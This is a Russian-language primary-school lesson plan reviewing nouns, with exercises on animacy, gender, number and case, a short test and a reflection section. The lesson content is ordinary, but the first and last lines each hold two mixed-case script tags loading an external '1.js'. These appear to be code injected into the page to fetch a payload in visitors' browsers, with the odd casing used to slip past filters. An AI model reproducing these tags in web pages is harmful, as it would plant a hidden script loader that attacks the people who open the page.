<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

03.01.2018

Тема: Проверим,

чему мы научились. ( повторение все об имени существительном)

Цель урока: обобщить знания учащихся по теме

«Имя существительное как часть речи».

Задачи:

Совершенствовать знания учащихся о грамматических признаках имён

существительных, формировать умение определять падеж имён

существительных по вопросу и вспомогательному слову, уметь определять число,

род, одушевлённые и неодушевлённые имена существительные.

2.Развивать навык

правильного написания имен существительных, определения грамматических форм,

употребления их в речи;

3.Воспитывать познавательную активность

учащихся, ответственное отношение к учебе.

Оборудование:

наглядность, эпиграф к уроку, солнышко с лучиками, карточки для инд. работы.

Ход урока:

1. Орг. Момент.

2. Психологический настрой:

Прозвенел звонок.

Начинается урок.

Впереди заданий много

Выполнить их надо в срок.

Ты соседу не мешай,

Дисциплину соблюдай.

Мы приветствуем друзей

Наших дорогих гостей.

Настроение

важный момент в нашей жизни. Улыбнитесь друг другу. А теперь мы подарим хорошее настроение и нашим

гостям.

- А девизом нашего урока

будет пословица

«Знание собирается по

капле».

Сообщение темы и задач к уроку.

Сегодня необычный

урок, так, как к нам пришли гости посмотреть, чему мы научились?.Мы повторим,

обобщим все, что изучали об имени существительном, еще раз убедимся в том, что

эти знания необходимы нам в жизни.

На урок к нам заглянуло Солнышко, но ,к

сожалению, оно очень грустное. Ребята , кто скажет почему? Правильно, потому

что без лучиков.

А чтобы они появились, надо их зажечь своей

хорошей работой (после каждого задания на доску прикрепляются лучи), А отметки

сегодня тоже будут необычные: это Лучики нашего Солнышка: желтые –работа без

ошибок, зеленые- 1-2 ошибки, синие – более 2 ошибок. В конце урока посмотрим, какими лучами они

будут светить, потом вместе посчитаем полученную отметку.

- Итак, в добрый путь, успехов ВСЕМ!

4. Запись числа.

Классная работа.

1) Минутка чистописания: Скороговорка

Зоиного

зайку зовут Зазнайка.

-какой

звук ты слышишь чаще других (З)

-Расскажите

всё, что вы знаете о букве З

Прописываем

букву Зз

-составьте

слова, начинающиеся на эту букву.

-к какой

части речи относятся ваши составленные слова?

(повторение

самостоятельных и служебных частей речи)- лучик по ответу уч-ся.

2) Словарная работа:

Горох, помидор, морковь, Байконур, полынь, ромашка,

дирижёр, воробей, трактор, кастрюля.

(взаимопроверка в парах) – лучик по ответу уч-ся.

3) Игра « Узнай»

- Глазки, дубки, арбуз, юбка. (проверочные слова)

- Спешить, шуршит, рыжий, камыши.

- Ёлочка, бочка, булочник, печник.

- Местность, грустный, солнце,

- Дочь, ночь, тишь, печь.

- Хвосты, снежок, лентяй, тропинка. (проверочные

слова)- лучик.

4) «Мозговой штурм»

Вопросы:

- Что обозначает имя существительное?

-На какие вопросы отвечает имя существительное?

- Какие имена сущ. называются одушевлённые?

- Какие имена сущ.

называются неодушевлённые?

- С какой буквы пишутся собственные имена сущ-ые?

Пример.

- Как изменяются имена сущ-ые? По числам и падежам?

- Приведите примеры? Какого рода бывают имена сущ-ые?

- Сколько падежей в русском языке? - Лучик.

А теперь я проверю , как вы на практике можете

пользоваться правилами, которые вы мне рассказали?

5)Задание в паре-

выбрать из слов только имена сущ-ые и записать в тетрадь.

1 пара- Мороз, колючий, дерево, спит, ветер, большой,

шишка. – лучик

2 пара- Зима, кладовая, гнездо, скачет, мама, еловая, белка. - лучик

3 пара- Гусь, водитель, бежишь, красная, волк, роща. - лучик

4 пара- Ученик, увидел, сосна, новая, газета, ребята. - лучик

Андросов Руслан- карточка. Списать имена существительные:

Зима, гнездо, волк, газета, ученик.

Физминутка.

6)Задание по группам. Отметить на карточке. (подчеркнуть)

1 группа- одушевлённые. –лучик.

Дом, природа, сестра, работа, учитель, Наталья, трамвай, жеребёнок, лес,

мама.

2 группа- неодушевлённые. – лучик.

Море, медведь, стакан,ель, котёнок, коньки, Ольга, шахтёр, берлога,человек.

7) Работа у доски.

Упр 356

- Прочитайте. Назовите тематические группы имён существительных?

Ананас

апельсины

Абрикос бананы

Виноград мандарины

Яблоки лучик

Остальные устно назвать в

каком числе они даны.

8) Задание индивидуальное

. Каждый ученик запишет в тетрадь по два слова, которые относятся к М.р, Ж.р,

Ср.р. – 3 минуты.

Проверка выборочно –

лучик. (3)

9) Упр 353.

Составьте предложения с

помощью картинок. Определи, в каком падеже и каким членом предложения должны

быть сущ-ые?

К кому постучится волк?

Волк постучится (к кому?)

к лисе. – Д.п. – лучик

- Каким членом предложения

дано слово – Волк, к лисе.

Кого ищет кот?

Кот ищет(кого?) мышку.-

В.п. – лучик

- Каким членом предложения

дано слово – Кот, мышку.

К кому стремится лиса?

Лиса стремится (к кому?) к

ягнёнку.-Д.п – лучик.

Каким членом предложения дано слово – Лиса, к ягнёнку.

10) Упр 355.

Прочитайте. Какая часть

будет первой, второй. – Работа у доски.

Выписать выделенные слова,

определить падеж, устно поставить в начальную форму.

В клетку- В.п- клетка, с

зерном- Т.п- зерно, морозы – мн.ч- мороз,

на снегу- В.п.- снег. – лучик.

11) Закрепление:

Тест.

Выбери строку, где даны только имена существительные?

А) Гусь, белый, волк.

В) Мальчик, сосна,

автобус.

С) нашёл, пришёл, кот.

2) По каким вариантов даны

только имена существительные Среднего рода:

А) ведро, кольцо, мыло.

В) сыр, машина, окно.

С) Доска, жираф, собака.

3) Одушевлённые имена

сущ-ые:

А)костюм, одежда, кукла.

В) Горох, помидор, птицы.

С) Катя, ученик, сестра.

4) Найдите строку в

Дательном падеже.

А) мышка, лошадь

В) к маме, по лесу

С) к дереву, болото.

5) В какой строке нужен

мягкий знак?

А) луч., плащ.

В) калач., ключ.

С)

ноч., дич..

Ключ:

взаимопроверка

Рефлексия:

- Какая пословица

звучала в начале урока?

- Вы набрали сегодня

хоть капельку знаний? /Да/.

- Конечно, с каждым днем

вы приобретаете знания, делаете шажок вперед, и если что-то не получается – не

огорчайтесь, а попробуйте сами разобраться с затруднением.

Если понравился урок

похлопайте в ладоши, если не понравился потопай ножками.

Д.з стр 157 упр 352

Спасибо за урок.

У кого какого цвета было

больше. Как вы оцените себя на уроке?

Как кто работал.

Выставление оценок.

<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Пікір қосу